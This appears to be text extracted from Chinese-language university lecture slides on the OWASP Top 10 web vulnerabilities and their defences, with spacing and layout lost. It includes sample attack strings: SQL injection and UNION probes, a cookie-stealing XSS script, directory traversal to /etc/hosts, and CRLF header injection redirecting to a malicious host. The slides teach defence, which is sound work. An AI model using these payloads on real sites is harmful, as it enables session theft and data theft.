WebGoat,WebScarab,各種Web代碼測(cè)試工具等OWASPOWASP:OpenWebApplicationSecurityProject,,致力于幫助組織機(jī)構(gòu)理解和提高他們的Web安全組織各種Web安全會(huì)議2007VS.2004(1/2)OWASPTop102007OWASPTop102004A1.CrossSiteScripting(XSS)A4.CrossSiteScripting(XSS)A2.InjectionFlawsA6.InjectionFlawsA3.MaliciousFileExecution(NEW)A4.InsecureDirectObjectReferenceA2.BrokenAccessControl

(Splitin2007T10)A5.CrossSiteRequestForgery(CSRF)(NEW)A6.InformationLeakageandImproperErrorHandlingA7.ImproperErrorHandlingA7.BrokenAuthenticationandSessionManagementA3.BrokenAuthenticationandSessionManagement2007VS.2004(2/2)OWASPTop102007OWASPTop102004A8.InsecureCryptographicStorageA8.InsecureStorageA9.InsecureCommunications(NEW)A10.FailuretoRestrictURLAccessA2.BrokenAccessControl(splitin2007T10)<removedin2007>A1.Un-validatedInput<removedin2007>A5.BufferOverflows<removedin2007>A9.DenialofService<removedin2007>A10.InsecureConfigurationManagement十大安全漏洞-OWASP2007A1.Injection:注入漏洞;A2.BrokenAuthenticationandSessionManagement:失效的身份認(rèn)證和會(huì)話管理;A3.Cross-SiteScripting(XSS):跨站腳本;A4.InsecureDirectObjectReferences:不安全的直接對(duì)象引用;A5.SecurityMisconfiguration:安全配置錯(cuò)誤;OWASP2013A6.SensitiveDataExposure:敏感數(shù)據(jù)暴露;A7.MissingFunctionLevelAccessControl:功能級(jí)別訪問(wèn)控制缺失;A8.Cross-SiteRequestForgery(CSRF):跨站請(qǐng)求偽造;A9.UsingKnowVulnerableComponents:使用已知易受攻擊的組件;A10.UnvalidatedRedirectsandForwards未驗(yàn)證的重定向和轉(zhuǎn)發(fā)OWASP2013OWASP2017OWASP2017OWASP2017OWASP2021一、SQL注入攻擊及防范注入漏洞

Injectionflaws,particularlySQLinjection,arecommoninwebapplications.Injectionoccurswhenuser-supplieddataissenttoaninterpreteraspartofacommandorquery.Theattacker’shostiledatatrickstheinterpreterintoexecutingunintendedcommandsorchangingdata.OWASPDefinition

注入漏洞典型注入漏洞包括:SQL注入(執(zhí)行SQL語(yǔ)句)操作系統(tǒng)命令注入(調(diào)用Shell)HTML注入(跨站腳本攻擊,XSS)SQL注入原理以網(wǎng)站數(shù)據(jù)庫(kù)為目標(biāo),利用Web應(yīng)用程序?qū)μ厥庾址^(guò)濾不完全的缺陷,通過(guò)把精心構(gòu)造的SQL命令插入Web表單,或者將SQL命令加入到域名請(qǐng)求或頁(yè)面請(qǐng)求的查詢字符串中,欺騙服務(wù)器執(zhí)行惡意的SQL命令,最終達(dá)到非法訪問(wèn)網(wǎng)站數(shù)據(jù)庫(kù)內(nèi)容、篡改數(shù)據(jù)庫(kù)中的數(shù)據(jù)、繞過(guò)認(rèn)證(不需要掌握用戶名和口令就可登錄應(yīng)用程序)、運(yùn)行程序、瀏覽或編輯文件等目的。SQL注入攻擊流程FirewallHardenedOSWebServerAppServerFirewallDatabasesLegacySystemsWebServicesDirectoriesHumanResrcsBillingCustomCodeAPPLICATION

ATTACKNetworkLayerApplicationLayerAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsHTTPrequest

SQLquery

DBTable

HTTPresponse

“SELECT*FROMaccountsWHEREacct=‘’OR1=1--’”1.Web程序提供了用戶輸入的表單;2.攻擊者通過(guò)填寫(xiě)表單數(shù)據(jù)發(fā)起攻擊;3.Web程序通過(guò)SQL語(yǔ)句的形式將攻擊遞交給數(shù)據(jù)庫(kù);AccountSummaryAcct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-02934.數(shù)據(jù)庫(kù)執(zhí)行SQL語(yǔ)句,將執(zhí)行結(jié)果加密后返回給應(yīng)用程序;5.應(yīng)用程序解密數(shù)據(jù),將結(jié)果發(fā)送給用戶(攻擊者)。Account:

SKU:

‘OR1=1--SQL注入示例SQL注入字符串口令可以填寫(xiě)任意值查詢到的用戶資料按提交方式,可分為GET注入、POST注入、Cookie注入、HTTP頭注入等按字符類(lèi)型,可分為整型注入和字符型注入按服務(wù)器是否返回提示信息,可分為SQL回顯注入和SQL盲注SQL注入分類(lèi)SQL回顯注入(SQLFeedbackInjection):在執(zhí)行SQL注入攻擊時(shí),Web服務(wù)器會(huì)返回來(lái)自數(shù)據(jù)庫(kù)服務(wù)器(DBMS)的SQL語(yǔ)句執(zhí)行結(jié)果,如數(shù)據(jù)庫(kù)字段內(nèi)容,或提示具體的SQL語(yǔ)法錯(cuò)誤信息等。攻擊者可以根據(jù)服務(wù)器返回的這些信息,有針對(duì)性地實(shí)施后續(xù)注入攻擊。SQL回顯注入DVWA中的SQL注入攻擊時(shí)的正常提示信息SQL回顯注入DVWA中SQL注入攻擊時(shí)的錯(cuò)誤提示信息(輸入1’)SQL回顯注入如果我們?cè)赨serID輸入框中輸入“1’and1=1#”,或者輸入“1’and1=2#”,DVWA將給出何種結(jié)果?DVWA中的SQL注入攻擊時(shí)的錯(cuò)誤提示信息SQL回顯注入使用其它子句來(lái)實(shí)施SQL注入探測(cè)字段個(gè)數(shù):orderbynumSQL回顯注入使用其它子句來(lái)實(shí)施SQL注入探測(cè)字段個(gè)數(shù):unionselectSQL回顯注入使用其它子句來(lái)實(shí)施SQL注入利用聯(lián)合查詢并結(jié)合一些特殊函數(shù)可獲得用戶、數(shù)據(jù)庫(kù)、表、字段等有用的信息SQL回顯注入獲得數(shù)據(jù)庫(kù)的名稱(chēng)(輸入“1’unionselectdatabase()#”)、版本(輸入“1’unionselectversion()#”)、連接數(shù)據(jù)庫(kù)的用戶名(輸入“1’unionselectuser()#”)等實(shí)際的Web應(yīng)用大多對(duì)回顯進(jìn)行了限制,服務(wù)器不會(huì)直接返回具體的數(shù)據(jù)庫(kù)操作錯(cuò)誤信息,也不會(huì)顯示SQL語(yǔ)句的執(zhí)行結(jié)果,而是會(huì)返回程序開(kāi)發(fā)者設(shè)置的特定信息,甚至有時(shí)無(wú)法判定提交的SQL語(yǔ)句是否執(zhí)行了,這種情況下的SQL注入攻擊就稱(chēng)為盲注基于布爾的盲注、基于時(shí)間的盲注、基于報(bào)錯(cuò)的盲注SQL盲注基于布爾的盲注是指構(gòu)造SQL語(yǔ)句中的條件子句,使得查詢結(jié)果為真(True)或假(False),并根據(jù)真假來(lái)推斷數(shù)據(jù)庫(kù)內(nèi)容(庫(kù)名、表名、列名、字段值等)。實(shí)施過(guò)程中,通常需要不斷調(diào)整判斷條件中的數(shù)值以逼近真實(shí)值,特別是要關(guān)注真假轉(zhuǎn)換點(diǎn)(上一次返回的是True,下一次返回的是False,或反之)?;诓紶柕拿ぷ⒒跁r(shí)間的盲注是指在SQL語(yǔ)句中注入延時(shí)函數(shù)(如MySQL的sleep()函數(shù)),根據(jù)SQL語(yǔ)句的執(zhí)行時(shí)間來(lái)獲取信息?;跁r(shí)間的盲注基于報(bào)錯(cuò)的盲注是指構(gòu)造惡意SQL語(yǔ)句,導(dǎo)致DBMS在執(zhí)行SQL語(yǔ)句時(shí)產(chǎn)生錯(cuò)誤,并回顯給客戶端,根據(jù)回顯的錯(cuò)誤信息來(lái)推斷數(shù)據(jù)庫(kù)名、版本、用戶名等信息?;趫?bào)錯(cuò)的注入又可分為數(shù)據(jù)庫(kù)BUG報(bào)錯(cuò)注入和數(shù)據(jù)庫(kù)函數(shù)報(bào)錯(cuò)注入?;趫?bào)錯(cuò)的盲注/SQL注入工具:Sqlmap攻擊成功的三個(gè)關(guān)鍵條件:第一,能夠構(gòu)造出惡意SQL語(yǔ)句(攻擊者掌控)第二,Web服務(wù)器對(duì)于客戶端發(fā)來(lái)的請(qǐng)求以及數(shù)據(jù)庫(kù)服務(wù)器反饋的內(nèi)容沒(méi)有進(jìn)行識(shí)別和過(guò)濾(程序員相關(guān))第三,數(shù)據(jù)庫(kù)服務(wù)器對(duì)于Web服務(wù)器發(fā)來(lái)的SQL語(yǔ)句沒(méi)有進(jìn)行識(shí)別和過(guò)濾(程序員相關(guān))防御SQL注入攻擊防御措施:輸入檢測(cè),過(guò)濾特殊字符構(gòu)造動(dòng)態(tài)SQL語(yǔ)句時(shí),一定要使用類(lèi)安全(type-safe)的參數(shù)編碼機(jī)制禁止將敏感數(shù)據(jù)以明文存放在數(shù)據(jù)庫(kù)中遵循最小特權(quán)原則盡量不要使用動(dòng)態(tài)拼裝的SQL,可以使用參數(shù)化的SQL或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢存取應(yīng)用的異常信息應(yīng)該給出盡可能少的提示防御SQL注入攻擊二、跨站腳本攻擊及防范(一)跨站腳本(XSS)漏洞Cross-SiteScripting(XSS)flawsoccurwheneveranapplicationtakesusersupplieddataandsendsittoawebbrowserwithoutfirstvalidatingorencodingthatcontent.XSSallowsattackerstoexecutescriptinthevictim'sbrowserwhichcanhijackusersessions,defacewebsites,possiblyintroduceworms,etc.OWASPDefinition

跨站腳本攻擊工作原理:輸入插入包含有JavaScript或其它惡意腳本的HTML標(biāo)簽代碼。問(wèn)題根源:不當(dāng)?shù)姆?wù)器端輸入檢查,從而允許用戶輸入可被客戶端瀏覽器解釋的腳本命令。XSS是最普遍的Web程序安全問(wèn)題。嵌入JavaScript腳本的例子:<script>window.open(/info.pl?document.cookie</script>XSS攻擊的原理帶有XSS漏洞的Web程序攻擊者將惡意腳本輸入到服務(wù)器上的Web頁(yè)面攻擊者設(shè)置陷阱12受害者瀏覽頁(yè)面3腳本將受害者的Session、Cookie發(fā)送給攻擊者運(yùn)行于受害者瀏覽器的腳本可以完全訪問(wèn)DOM和cookiesCustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.FunctionsXSS漏洞探測(cè)示例“Search”框內(nèi)的文本信息常會(huì)反饋回用戶頁(yè)面<script>alert(document.cookie)</script>

腳本執(zhí)行并將Session信息通過(guò)對(duì)話框顯示出來(lái)攻擊測(cè)試腳本儲(chǔ)存式跨站腳本攻擊,也稱(chēng)為持久性跨站腳本攻擊。如果Web程序允許存儲(chǔ)用戶數(shù)據(jù),并且存儲(chǔ)的輸入數(shù)據(jù)沒(méi)有經(jīng)過(guò)正確的過(guò)濾,就有可能發(fā)生這類(lèi)攻擊。在這種攻擊模式下,攻擊者并不需要利用一個(gè)惡意鏈接,只要用戶訪問(wèn)了儲(chǔ)存式跨站腳本網(wǎng)頁(yè),那么惡意數(shù)據(jù)就將顯示為網(wǎng)站的一部分并以受害者身份執(zhí)行。儲(chǔ)存式XSS儲(chǔ)存式XSS儲(chǔ)存式XSS儲(chǔ)存式<script>window.location="/steal.cgi?ck="+document.cookie;</script>~留言版~<script>window.location="/steal.cgi?ck="+document.cookie;</script>也稱(chēng)為非持久性跨站腳本攻擊,是一種最常見(jiàn)的跨站腳本攻擊類(lèi)型。與本地腳本漏洞不同的是Web客戶端使用Server端腳本生成頁(yè)面為用戶提供數(shù)據(jù)時(shí),如果未經(jīng)驗(yàn)證的用戶數(shù)據(jù)被包含在頁(yè)面中而未經(jīng)HTML實(shí)體編碼,客戶端代碼便能夠注入到動(dòng)態(tài)頁(yè)面中。在這種攻擊模式下,Web程序不會(huì)存儲(chǔ)惡意腳本,它會(huì)將未經(jīng)驗(yàn)證的數(shù)據(jù)通過(guò)請(qǐng)求發(fā)送給客戶端,攻擊者就可以構(gòu)造惡意的URL鏈接或表單并誘騙用戶訪問(wèn),最終達(dá)到利用受害者身份執(zhí)行惡意代碼的目的。反射式XSS(1)Alice經(jīng)常瀏覽Bob建立的網(wǎng)站。Bob的站點(diǎn)運(yùn)行Alice使用用戶名/密碼進(jìn)行登錄,并存儲(chǔ)敏感信息(比如銀行帳戶信息);(2)Charly發(fā)現(xiàn)Bob的站點(diǎn)包含反射性的XSS漏洞;(3)Charly編寫(xiě)一個(gè)利用漏洞的URL,并將其冒充為來(lái)自Bob的郵件發(fā)送給Alice;(4)Alice在登錄到Bob的站點(diǎn)后,瀏覽Charly提供的URL;(5)嵌入到URL中的惡意腳本在Alice的瀏覽器中執(zhí)行,就像它直接來(lái)自Bob的服務(wù)器一樣。此腳本盜竊敏感信息(授權(quán)、信用卡、帳號(hào)信息等),然后在Alice完全不知情的情況下將這些信息發(fā)送到Charly的Web站點(diǎn)。反射式XSS反射式XSSloginsb.asp直接向用戶顯示msg參數(shù),這樣只要簡(jiǎn)單構(gòu)造一個(gè)惡意的url就可以觸發(fā)一次XSS。反射式XSSDOM式XSS如果構(gòu)造數(shù)據(jù)“‘onclick=’javascript:alert(/xss/)”,那么最后添加的html代碼就變成了“<ahref=’‘onclick=’javascript:alert(/xss/)’>test</a>”,插入一個(gè)onclick事件,點(diǎn)擊提交按鍵,那么就會(huì)發(fā)生一次DOM式xss攻擊。DOM式XSS防御XSS攻擊對(duì)Web應(yīng)用程序的所有輸入進(jìn)行過(guò)濾,對(duì)危險(xiǎn)的HTML字符進(jìn)行編碼:‘<’,‘>’

‘<’,‘>’‘(‘,‘)’

‘(’,‘)’‘#‘,‘&’

‘#’,‘&‘對(duì)用戶進(jìn)行培訓(xùn),告知小心使用電子郵件消息或即時(shí)消息中的鏈接;防止訪問(wèn)已知的惡意網(wǎng)站;執(zhí)行手工或自動(dòng)化代碼掃描,確定并消除潛在的XSS漏洞。三、Cookie欺騙及防范偽造Cookie信息,繞過(guò)網(wǎng)站的驗(yàn)證過(guò)程,不需要輸入密碼,就可以登錄網(wǎng)站,甚至進(jìn)入網(wǎng)站管理后臺(tái)偽造Cookie信息網(wǎng)站登錄驗(yàn)證代碼偽造Cookie信息利用request.Cookies語(yǔ)句分別獲取Cookies中的用戶名、口令和randomid的值。如果用戶名或口令為空或randomid值不等于12就跳轉(zhuǎn)到登錄界面。也就是說(shuō),程序是通過(guò)驗(yàn)證用戶的Cookie信息來(lái)確認(rèn)用戶是否已登錄。然而,Cookie信息是可以在本地修改的,只要改后的Cookie信息符合驗(yàn)證條件(用戶名和口令不空且randomid值等于12),就可進(jìn)入管理后臺(tái)界面判斷是否有刪帖權(quán)限的代碼偽造Cookie信息只要Cookie中的power值不小于500,任意用戶都可以刪除任意帖子。同樣可以利用上面介紹的方法進(jìn)行Cookie欺騙攻擊面上面介紹的兩個(gè)攻擊例子之所以成功,是因?yàn)樵贑ookie中保存了用戶名、口令以及權(quán)限信息而留下了安全隱患。安全原則:一般情況下,網(wǎng)站會(huì)話管理機(jī)制僅將會(huì)話ID保存至Cookie,而將數(shù)據(jù)本身保存在Web服務(wù)器的內(nèi)存或文件、數(shù)據(jù)庫(kù)中偽造Cookie信息如果Cookie中沒(méi)有設(shè)置安全屬性secure”,則Cookie內(nèi)容在網(wǎng)絡(luò)中用明文傳輸,攻擊者監(jiān)聽(tīng)到Cookie內(nèi)容后可以輕松實(shí)現(xiàn)會(huì)話劫持為什么會(huì)不設(shè)置安全屬性監(jiān)聽(tīng)Cookie來(lái)實(shí)現(xiàn)會(huì)話劫持四、CSRF攻擊及防范跨站請(qǐng)求仿冒ACSRF(CrossSiteRequestForgery)attackforcesalogged-onvictim’sbrowsertosendapre-authenticatedrequesttoavulnerablewebapplication,whichthenforcesthevictim’sbrowsertoperformahostileactiontothebenefitoftheattacker.OWASPDefinition

CSRF用戶C網(wǎng)站A:存在CSRF漏洞的網(wǎng)站網(wǎng)站B:惡意攻擊者用戶C:受害者網(wǎng)站A(受信任)網(wǎng)站B(惡意)6.由于瀏覽器會(huì)帶上用戶C的cookie,網(wǎng)站A不知道步驟5的請(qǐng)求是B發(fā)出的,因此網(wǎng)站A會(huì)根據(jù)用戶C的權(quán)限處理步驟5的的請(qǐng)求,這樣就達(dá)到了偽造用戶C請(qǐng)求的目的1.用戶C瀏覽并登錄正常網(wǎng)站A2.驗(yàn)證通過(guò),瀏覽器生成網(wǎng)站A的cookie3.用戶C在沒(méi)有登錄退出網(wǎng)站A的情況下,訪問(wèn)惡意網(wǎng)站B4.網(wǎng)站B要求訪問(wèn)第三方網(wǎng)站A5.根據(jù)B在步驟4的要求,瀏覽器帶著步驟2處產(chǎn)生的cookie訪問(wèn)網(wǎng)站A現(xiàn)在絕大多數(shù)網(wǎng)站都不會(huì)使用GET請(qǐng)求來(lái)進(jìn)行數(shù)據(jù)更新,而是采用POST來(lái)提交,即使這樣,攻擊者仍然能夠?qū)嵤〤SRF攻擊CSRF防御CSRF攻擊現(xiàn)有銀行的網(wǎng)銀交易流程要比例子復(fù)雜得多,同時(shí)還需要USBkey、驗(yàn)證碼、登錄密碼和支付密碼等一系列安全信息,一般并不存在CSRF安全漏洞,安全是有保障的。CSRF與XSS重大的差別:CSRF利用的是Web服務(wù)器端的漏洞XSS利用的是Web客戶端的漏洞XSS攻擊是實(shí)施CSRF攻擊前的一個(gè)重要步驟:攻擊者通過(guò)XSS攻擊獲取有用的攻擊信息,比如通過(guò)XSS偽造一個(gè)提示用戶輸入身份信息的表單。防御CSRF攻擊設(shè)定短暫的可信用戶會(huì)話時(shí)間,完成任務(wù)后記得退出可信會(huì)話,刪除所有cookie;每次提出一個(gè)可信行為時(shí),對(duì)發(fā)出請(qǐng)求的用戶進(jìn)行驗(yàn)證;讓網(wǎng)站記住登錄用戶名和密碼時(shí)要小心。留在客戶端的登錄信息可能會(huì)攻擊者加以利用;在URL和表單中增加的每個(gè)請(qǐng)求,必須提供基本會(huì)話令牌以外的每個(gè)請(qǐng)求用戶驗(yàn)證;從Web應(yīng)用程序中刪除所有XSS漏洞。防御CSRF攻擊五、目錄遍歷及其防范許多Web應(yīng)用支持外界以參數(shù)的形式來(lái)指定服務(wù)器上的文件名,如果服務(wù)器在處理用戶請(qǐng)求時(shí)不對(duì)文件名進(jìn)行充分校驗(yàn),就可能出問(wèn)題,如:文件被非法獲取,導(dǎo)致重要信息被泄露;文件被篡改,如篡改網(wǎng)頁(yè)內(nèi)容以發(fā)布不實(shí)消息,設(shè)置圈套將用戶誘導(dǎo)至惡意網(wǎng)站,篡改腳本文件從而在服務(wù)器上執(zhí)行任意腳本等;文件被刪除,如刪除腳本文件或配置文件導(dǎo)致服務(wù)器宕機(jī)等目錄遍歷一般來(lái)說(shuō),如果Web應(yīng)用滿足以下3個(gè)條件時(shí),就有可能產(chǎn)生目錄遍歷漏洞外界能夠指定文件名能夠使用絕對(duì)路徑或相對(duì)路徑等形式來(lái)指定其它目錄的文件名沒(méi)有對(duì)拼接后的文件名進(jìn)行校驗(yàn)就允許訪問(wèn)該文件目錄遍歷目錄遍歷/example/ex.php?template=../../../../etc/hosts%00將顯示/etc/hosts文件內(nèi)容目錄遍歷/online/getnews.asp?item=20March2007.html/online/getnews.asp?item=../../../../windows/win.ini提交申請(qǐng)獲取某個(gè)新聞網(wǎng)頁(yè)文件

使用../從當(dāng)前目錄跳到上一級(jí)目錄

目錄遍歷成功將讀取到windows目錄下的win.ini文件

避免由外界指定文件名將文件名固定,保存在會(huì)話變量中,不直接指定文件名,而是使用編號(hào)等方法間接指定文件名中不允許包含目錄名不同系統(tǒng)中表示目錄的字符有所不同,常見(jiàn)的有:/、\、:等限定文件中僅包含字母或數(shù)字有些攻擊使用不同的編碼轉(zhuǎn)換進(jìn)行過(guò)濾性的繞過(guò),如通過(guò)對(duì)參數(shù)進(jìn)行URL編碼來(lái)繞過(guò)檢查目錄遍歷防御downfile.jsp?filename=%66%61%6E%2E%70%64%66六、操作系統(tǒng)命令注入及防范很多Web應(yīng)用編程語(yǔ)言支持應(yīng)用通過(guò)Shell執(zhí)行操作系統(tǒng)(OS)命令。通過(guò)Shell執(zhí)行OS命令,或開(kāi)發(fā)中用到的某個(gè)方法在其內(nèi)部使用了Shell,就有可能出現(xiàn)惡意利用Shell提供的功能來(lái)任意執(zhí)行OS命令的情況,這就是OS命令注入OS命令注入OS命令注入上述攻擊成功的主要原因是Shell支持連續(xù)執(zhí)行多條命令,如Unix操作系統(tǒng)Shell中使用分號(hào)(;)或管道(|)等字符支持連續(xù)執(zhí)行多條命令,Windows操作系統(tǒng)cmd.exe使用&符號(hào)來(lái)連接多條命令。這些符號(hào)一般稱(chēng)為Shell的元字符,如果OS命令參數(shù)中混入了元字符,就會(huì)使攻擊者添加的操作系統(tǒng)命令被執(zhí)行,這就是OS注入漏洞產(chǎn)生的原因OS命令注入OS命令注入攻擊的一般流程為:從外部下載攻擊用軟件;對(duì)下載來(lái)的軟件授予執(zhí)行權(quán)限;從內(nèi)部攻擊操作系統(tǒng)漏洞以取得管理員權(quán)限;攻擊者在Web服務(wù)器上執(zhí)行攻擊操作,如:瀏覽、篡改或刪除Web服務(wù)器內(nèi)的文件,對(duì)外發(fā)送郵件,以此服務(wù)器作跳板攻擊其他服務(wù)器等。OS命令注入OS命令注入攻擊防御策略:選擇不調(diào)用操作系統(tǒng)命令的實(shí)現(xiàn)方法,即不調(diào)用Shell功能,而用其它方法實(shí)現(xiàn);避免使用內(nèi)部可能會(huì)調(diào)用Shell的函數(shù);不將外部輸入的字符串作為命令行參數(shù);使用安全的函數(shù)對(duì)傳遞給操作系統(tǒng)的參數(shù)進(jìn)行轉(zhuǎn)義,消除Shell元字符帶來(lái)的威脅。由于Shell轉(zhuǎn)義規(guī)則的復(fù)雜性以及其它一些環(huán)境相關(guān)的原因,這一方法有時(shí)很難完全湊效。OS命令注入防御七、HTTP消息頭注入攻擊及防范指在重定向或生成Cookie時(shí),基于外部傳入的參數(shù)生成HTTP響應(yīng)頭:HTTP響應(yīng)頭信息一般以文本格式逐行定義消息頭,即消息頭之間互相以換行符隔開(kāi)。攻擊者可以利用這一特點(diǎn),在指定重定向目標(biāo)URL或Cookie值的參數(shù)中插入換行符且該換行符又被直接作為響應(yīng)輸出,從而在受害者的瀏覽器上任意添加響應(yīng)消息頭或偽造響應(yīng)消息體:生成任意Cookie,重定向到任意URL,更改頁(yè)面顯示內(nèi)容,執(zhí)行任意JavaScript而造成與XSS同樣效果HTTP消息頭注入看下面的例子HTTP消息頭注入/web/in.cfg?url=/%0D%0ALocation:+http://trap.com/web/attack.php執(zhí)行之后,瀏覽器會(huì)跳轉(zhuǎn)到惡意網(wǎng)站/web/attack.php,而不是期望的正常網(wǎng)站。造成這一結(jié)果的主要原因是,CGI腳本里使用的查詢字符串url中包含了換行符(%0D%0A)。出兩個(gè)消息頭:

Location:Location:/web/attack.php采用類(lèi)似方法可以生成任意Cookie,看下面例子HTTP消息頭注入/web/in.cfg?url=/web/exampple.php%0D%0ASet-Cookie:+SESSID=ac13rkd90執(zhí)行之后,兩個(gè)消息頭:

Set-Cookie:SESSID=ac13rkd90Location:/web/exampple.php不將外部傳入?yún)?shù)作為HTTP響應(yīng)消息頭輸出,如不直接使用URL指定重定向目標(biāo),而是將其固定或通過(guò)編號(hào)等方式來(lái)指定,或使用Web應(yīng)用開(kāi)發(fā)工具中提供的會(huì)話變量來(lái)轉(zhuǎn)交URL;由專(zhuān)門(mén)的API來(lái)進(jìn)行重定向或生成Cookie,并嚴(yán)格檢驗(yàn)生成消息頭的參數(shù)中的換行符HTTP消息頭注入防御八、其它攻擊1、惡意文件執(zhí)行Codevulnerabletoremotefileinclusion(RFI)allowsattackerstoincludehostilecodeanddata,resultingindevastatingattacks,suchastotalservercompromise.MaliciousfileexecutionattacksaffectPHP,XMLandanyframeworkwhichacceptsfilenamesorfilesfromusers.OWASPDefinition

1、惡意文件執(zhí)行惡意文件執(zhí)行漏洞也稱(chēng)為不安全的遠(yuǎn)程文件包含漏洞;需要用戶提供輸入文件名的Web程序容易受到攻擊:如果對(duì)用戶輸入不驗(yàn)證,攻擊者可借此操控Web程序執(zhí)行系統(tǒng)程序或外部URL;允許上傳文件給Web程序帶來(lái)的危害更大可以將可執(zhí)行代碼放置到Web應(yīng)用中去;可以替換Session文件、日志文件或認(rèn)證令牌1、防御惡意文件執(zhí)行漏洞禁止用戶輸入被用作輸入文件片斷;對(duì)于必須要用戶輸入文件名、URL的地方,執(zhí)行嚴(yán)格的檢查驗(yàn)證輸入合法性;文件上傳的處理要非常小心:文件只允許上傳到webroot目錄以外的目錄中,這樣能防止文件被執(zhí)行;限制或隔離Web程序?qū)ξ募脑L問(wèn)權(quán)限。2、不安全的直接對(duì)象引用Adirectobjectreferenceoccurswhenadeveloperexposesareferencetoaninternalimplementationobject,suchasafile,directory,databaserecord,orkey,asaURLorformparameter.Attackerscanmanipulatethosereferencestoaccessotherobjectswithoutauthorization.OWASPDefinition

2、不安全的直接對(duì)象引用不安全的直接對(duì)象引用漏洞也常稱(chēng)為目錄遍歷漏洞;Web程序常常會(huì)暴露內(nèi)部對(duì)象,包括:文件或目錄URL數(shù)據(jù)庫(kù)口令數(shù)據(jù)庫(kù)的一些對(duì)象名稱(chēng),比如表名如果訪問(wèn)控制配置不合理,攻擊者就可以不經(jīng)授權(quán)地操作這些暴露的內(nèi)部對(duì)象。2、防御不安全的直接對(duì)象引用鎖定Web目錄。使得通過(guò)網(wǎng)絡(luò)訪問(wèn)Web服務(wù)器的用戶都不能訪問(wèn)除專(zhuān)門(mén)用于存放Web內(nèi)容的目錄以外的目錄;對(duì)于每一次對(duì)象引用都要重新驗(yàn)證授權(quán);禁止通過(guò)參數(shù)暴露內(nèi)部對(duì)象;建議使用間接映射的方法取代簡(jiǎn)單的直接對(duì)象引用,比如:/application?file=1

3、信息泄露和不當(dāng)?shù)腻e(cuò)誤處理

Applicationscanunintentionallyleakinformationabouttheirconfiguration,internalworkings,orviolateprivacythroughavarietyofapplicationproblems.Attackersusethisweaknesstostealsensitivedataorconductmoreseriousattacks.OWASPDefinition

3、信息泄露和不當(dāng)?shù)腻e(cuò)誤處理敏感信息泄露常常細(xì)微難以察覺(jué)!常見(jiàn)的脆弱點(diǎn):堆棧跟蹤信息SQL狀態(tài)信息登錄失敗信息授權(quán)信息4、不當(dāng)?shù)腻e(cuò)誤處理示例MicrosoftOLEDBProviderforODBCDriverserror'80004005'[Microsoft][ODBCMicrosoftAccess97Driver]Can'topendatabase‘VDPROD'.java.sql.SQLException:ORA-00600:internalerrorcode,arguments:[ttcgnd-1],[0],[],[],[],atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:169)atoracle.jdbc.ttc7.TTIcessError(TTIoer.java:208)示例1:示例2:錯(cuò)誤處理信息對(duì)于Debug非常有用,但是為攻擊者提供了太多潛在可用的攻擊信息!4、防御信息泄露每個(gè)應(yīng)用程序都應(yīng)包含一個(gè)標(biāo)準(zhǔn)的錯(cuò)誤處理框架來(lái)處理異常:禁止顯示堆棧跟蹤、數(shù)據(jù)庫(kù)訪問(wèn)、協(xié)議等相關(guān)的信息;Web程序應(yīng)只提供盡量簡(jiǎn)短、“剛好夠用”的錯(cuò)誤處理信息給用戶;5、認(rèn)證和會(huì)話管理不完善

Accountcredentialsandsessiontokensareoftennotproperlyprotected.Attackerscompromisepasswords,keys,orauthenticationtokenstoassumeotherusers’identities.OWASPDefinition

會(huì)話(Session)管理HTTP/HTTPS是“無(wú)狀態(tài)”協(xié)議意味著每一次用戶請(qǐng)求都需要認(rèn)證會(huì)話管理解決了這樣的問(wèn)題:當(dāng)一個(gè)用戶得到服務(wù)器認(rèn)證后,服務(wù)器如何識(shí)別和處理這個(gè)認(rèn)證用戶接下來(lái)的請(qǐng)求Web程序一般會(huì)提供內(nèi)置的會(huì)話跟蹤方法,方便用戶的使用;Web開(kāi)發(fā)者常采用自己的策略來(lái)實(shí)現(xiàn)會(huì)話狀態(tài)管理,可能會(huì)犯錯(cuò)誤而導(dǎo)致安全問(wèn)題。會(huì)話管理:SessionID唯一地標(biāo)識(shí)用戶一個(gè)ID僅用于一次認(rèn)證會(huì)話由服務(wù)器生成以如下的形式發(fā)送給客戶端:隱式變量HTTPcookieURL查詢串服務(wù)器期待用戶在下一次請(qǐng)求時(shí)發(fā)送同樣的ID(用來(lái)標(biāo)識(shí)用戶已被認(rèn)證)會(huì)話管理:SessionHijackingSessionID可能被泄露和猜解,黑客可以:獲取用戶的帳號(hào)做任何受害者能做的事情:一個(gè)使用同樣SessionID的攻擊者將擁有和真正用戶相同的特權(quán)。認(rèn)證和會(huì)話管理攻擊流程CustomCodeAccountsFinanceAdministrationTransactionsCommunicationKnowledgeMgmtE-CommerceBus.Functions1用戶發(fā)送認(rèn)證信息2站點(diǎn)進(jìn)行URL重寫(xiě)(i.e.,把session放到URL中)3用戶在一個(gè)論壇中點(diǎn)擊了

這個(gè)鏈接?JSESSIONID=9FA1DB9EA...4黑客在

的日志文件中得到用戶的JSESSIONID值5黑客使用JSESSIONID獲取到受害者的帳號(hào)5、防御會(huì)話管理攻擊使用長(zhǎng)且復(fù)雜的隨機(jī)SessionID,難以猜解;對(duì)SessionID的傳輸、存儲(chǔ)進(jìn)行保護(hù),防止被泄露和劫持;使用SSL時(shí),必須保護(hù)認(rèn)證和SessionID兩部分的內(nèi)容;URL查詢字符串中不要包含有User/Session任何信息。6、不安全的加密存儲(chǔ)

Webapplicationsrarelyusecryptographicfunctionsproperlytoprotectdataandcredentials.Attackersuseweaklyprotecteddatatoconductidentitytheftandothercrimes,suchascreditcardfraud.OWASPDefinition

